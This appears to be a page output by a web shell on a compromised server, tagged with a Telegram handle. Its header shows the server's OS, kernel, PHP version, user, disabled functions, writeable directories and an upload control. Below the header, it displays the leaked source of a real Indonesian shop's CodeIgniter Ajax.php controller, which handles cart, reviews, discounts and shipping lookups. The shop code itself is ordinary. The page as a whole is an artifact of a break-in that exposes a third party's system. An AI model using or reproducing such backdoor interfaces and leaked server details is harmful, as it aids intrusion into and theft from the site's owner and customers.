https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kamariallee.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/kamariallee.com/public_html/application/controllers/Ajax.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Ajax extends Public_Controller {

	public function __construct() {
		parent::__construct();
	}

	//ajax product page select size
	public function ajax_select_size() { 

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}

		$quantity = (int) $this->input->post('quantity');
		$id_product = (int) $this->input->post('id_product');

        //get product base price
        $this->db->select('price')->from('products')->where('id_products', $id_product);
        $base_price = $this->db->get()->row()->price;

		//check if the id_product has quantity discount
		$this->db->select('id_quantity_discount')->from('quantity_discount')->where('product_id', $id_product);
		$count_quantity_discount = $this->db->get()->num_rows();

		if ($count_quantity_discount > 0) {

			//get discount for chosen quantity, choosing the closest quantity
			$query = $this->db->query("SELECT discount_percentage FROM quantity_discount WHERE min_quantity <= '$quantity' ORDER BY ABS(min_quantity - '$quantity') LIMIT 1");
			$row = $query->row();

			if (count($row) > 0) {

				$data['quantity_discounted_price'] = $base_price - ($base_price * $row->discount_percentage / 100);
				$data['quantity_discount_percentage'] = $row->discount_percentage;

			} else {

				//quantity is less than minimum discount rule
				//check if have base normal discount
				$this->db->select('discount_price')->from('products')->where('id_products', $id_product);
    			$discount_price = $this->db->get()->row()->discount_price;

				if ($discount_price != 0) {

					$data['discounted_price'] = $base_price - ($base_price * $discount_price / 100);  
					$data['discount_percentage'] = $discount_price;
				}
			}

		} else {
			//no quantity discount
			//check if have base normal discount
			$this->db->select('discount_price')->from('products')->where('id_products', $id_product);
			$discount_price = $this->db->get()->row()->discount_price;

			if ($discount_price != 0) {
				
				$data['discounted_price'] = $base_price - ($base_price * $discount_price / 100); 
				$data['discount_percentage'] = $discount_price; 
			}
		}

		$data['price'] = $base_price;	
		$data['id_product'] = $id_product;

		$this->load->view('ajax_select_size', $data);  
	} 

	

	//ajax product page add product review
	public function ajax_addproductreview() {

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}

		//CPATCHA VALIDATION
		// First, delete old captchas
		$expiration = time() - 7200; // Two hour limit
		$this->db->where('captcha_time < ', $expiration)
				->delete('captcha');

		// Then see if a captcha exists and match
		$sql = 'SELECT COUNT(*) AS count FROM captcha WHERE word = ? AND ip_address = ? AND captcha_time > ?';
		$binds = array($_POST['captcha'], $this->input->ip_address(), $expiration);
		$query = $this->db->query($sql, $binds);
		$row = $query->row();

		if ($row->count == 0) {
			echo '<p style="background-color:red; color:white; padding:5px;">Mohon masukan kode yang benar.</p>';
			exit();
		}		

		$product_id = (int) $this->input->post('product_id');
		$rating = $this->input->post('rating');
		$review = $this->security->xss_clean($this->input->post('review'));

		if($this->input->post('customer_id')) {
			//if customer act as a registered during product review 
			$customer_id = (int) $this->input->post('customer_id');

			//get customer name and email
			$this->db->select('name, email')->from('customers')->where('id_customers', $customer_id);
			$customer_data = $this->db->get()->row();

			$data = array(
				'product_id' => $product_id,
				'review_date' => date('j M Y'),
				'is_registered' => 'yes',
				'customer_id' => $customer_id,
				'name'	=> $customer_data->name,
				'email'	=> $customer_data->email,
				'rating' => $rating,
				'review' => $review
			);

		} else {
			//customer act as a guest during product review
			//get value from serialize form data ajax
			$name = $this->security->xss_clean($this->input->post('name'));
			$email = $this->security->xss_clean($this->input->post('email'));

			$data = array(
				'product_id' => $product_id,
				'review_date' => date('j M Y'),
				'is_registered' => 'no',
				'name'	=> $name,
				'email'	=> $email,
				'rating' => $rating,
				'review' => $review
			);
		}

		$this->db->insert('product_review', $data);

		//get all product reviews
		$this->db->select('*')->from('product_review')->where('product_id', $product_id)->order_by('review_date', 'DESC');
		$data['product_reviews'] = $this->db->get()->result();
		$data['product_id'] = $product_id;

		$this->load->view('ajax_addproductreview', $data);

	}

	//ajax get price
	public function ajax_get_price() {

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}

		$id_product_details = (int) $this->input->post('id_product_details');

		//get pricing details
		$this->db->select('price, discounted_price')->from('product_details')->where('id_product_details', $id_product_details);
		$prices = $this->db->get()->row();
		$data['price'] = $prices->price;
		$data['discounted_price'] = $prices->discounted_price;
		
		$this->load->view('ajax_get_price', $data);
	}	

	//ajax product page add to cart
	public function ajax_add_to_cart() { 

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}
		
		$this->load->library('form_validation');
		$this->load->library('cart');

		//validation check in action
		$config = array( 
            array(
                 'field'   => 'product_size', 
                 'label'   => 'product Size',
                 'rules'   => 'trim|required|callback_cek_stock'
            )
        );

		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {

			$id_product_details = (int) $this->input->post('product_size'); 

			//get product details
			$this->db->select('*')->from('product_details')->where('id_product_details', $id_product_details);
			$product_details = $this->db->get()->row();

			$data['id'] = (int) $this->input->post('product_id');		
			$data['name'] = '<strong>' . $this->input->post('product_name') . '</strong>' .  '<br>Option: ' . $product_details->attributes . '<br>Product Code: ' . $product_details->sku; 
			$data['qty'] = (int) $this->input->post('qty');
			$data['price'] = (int) $this->input->post('price');
			$data['options']['size'] =  $product_details->attributes;
			$data['options']['sku'] = $product_details->sku;

			$this->cart->product_name_rules = '[:print:]'; //this is to eliminate cart product name restriction on special characters
			
			$this->cart->insert($data); 

			echo count($this->cart->contents());	
		
		} else {

			echo 0; //means not enough stock
		}  

	} 

	//callback function validation cek stock available when add to cart
	public function cek_stock() {

		$id_product_details = (int) $this->input->post('product_size'); 
		$chosen_quantity = (int) $this->input->post('qty'); ; 
		
		//get current stock froms product_details table
		$this->db->select('stock');
		$this->db->from('product_details');
		$this->db->where('id_product_details', $id_product_details);
		$query = $this->db->get(); 
		$current_stock = (int)  $query->row()->stock;

		//check if quantity is less or equal to current stock
		if ($chosen_quantity > $current_stock) {
			return FALSE;
		} else {
			return TRUE;  
		}	
	}

	public function ajax_get_district() {

		//if(!$_POST) { show_404(); } 

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}
		$this->load->helper('rajaongkir');

		$province_id = (int) $this->input->post('id_province'); 
		//get list of districts from RajaOngkir.com API
		$data['districts'] = get_rajaongkir_data('city?province=' . $province_id); //get from helper file
		$this->load->view('ajax_get_district', $data);
	}

	public function ajax_get_shipping_district() {

		//if(!$_POST) { show_404(); } 

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}
		$this->load->helper('rajaongkir');

		$shipping_province_id = (int) $this->input->post('id_shipping_province'); 
		//get list of districts from RajaOngkir.com API
		$data['shipping_districts'] = get_rajaongkir_data('city?province=' . $shipping_province_id); //get from helper file
		$this->load->view('ajax_get_shipping_district', $data);
	}

	public function ajax_get_subdistrict() {

		//if(!$_POST) { show_404(); } 

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}

		$this->load->helper('rajaongkir');

		$district_id = (int) $this->input->post('id_district'); 
		//get list of subdistricts from RajaOngkir.com API
		$data['subdistricts'] = get_rajaongkir_data('subdistrict?city=' . $district_id); //get from helper file

		$this->load->view('ajax_get_subdistrict', $data);
	}

	public function ajax_get_shipping_subdistrict() {

		//if(!$_POST) { show_404(); } 

		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
   			exit('No direct script access allowed');
		}

		$this->load->helper('rajaongkir');

		$shipping_district_id = (int) $this->input->post('id_shipping_district'); 
		//get list of subdistricts from RajaOngkir.com API
		$data['shipping_subdistricts'] = get_rajaongkir_data('subdistrict?city=' . $shipping_district_id); //get from helper file

		$this->load->view('ajax_get_shipping_subdistrict', $data);
	}

	public function ajax_subscribe()
		{
				//test if ajax call to prevent direct access
				if(!$this->input->is_ajax_request())
				{
						exit('No direct script access allowed');
				}

				$email = $this->security->xss_clean($this->input->post('email'));
				
				//check if email exist
				$email_data = $this->db->select('email')->from('subscriptions')->where('email', $email)->get()->row_array();

				if($email_data)
				{
						return $this->output
						->set_content_type('application/json')
						->set_status_header(200)
						->set_output(json_encode([
								'message' 	=> 'Email already exist',
						]));
				}
				else
				{
						//add new email
						$data = array(
							'email'	=> $email
						);
						$this->db->insert('subscriptions', $data);

						return $this->output
						->set_content_type('application/json')
						->set_status_header(201)
						->set_output(json_encode([
								'message' 	=> 'Subscription successful',
						]));
				}
		}


}

https://t.me/RX1948 - 2025